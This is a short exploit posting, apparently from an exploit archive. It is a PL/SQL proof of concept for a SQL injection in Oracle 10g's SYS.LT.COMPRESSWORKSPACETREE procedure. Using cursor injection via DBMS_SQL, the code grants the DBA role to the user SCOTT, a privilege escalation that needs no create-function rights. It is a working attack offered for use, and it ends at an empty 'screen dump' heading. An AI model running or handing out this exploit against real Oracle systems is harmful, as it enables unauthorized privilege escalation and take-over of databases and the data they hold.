Oracle 10g SYS.LT.COMPRESSWORKSPACETREE SQL Injection Exploit

This is slightly modified version of: http://milw0rm.com/exploits/7677 
This is based on cursor injection and does not need create function privileges:

DECLARE

D NUMBER;

BEGIN

D := DBMS_SQL.OPEN_CURSOR;

DBMS_SQL.PARSE(D,'declare pragma autonomous_transaction; begin execute immediate ''grant dba to scott'';commit;end;',0);

SYS.LT.CREATEWORKSPACE('a''and dbms_sql.execute('||D||')=1--');

SYS.LT.COMPRESSWORKSPACETREE('a''and dbms_sql.execute('||D||')=1--');

end;

#-----------screen dump---------------------------------------------------#
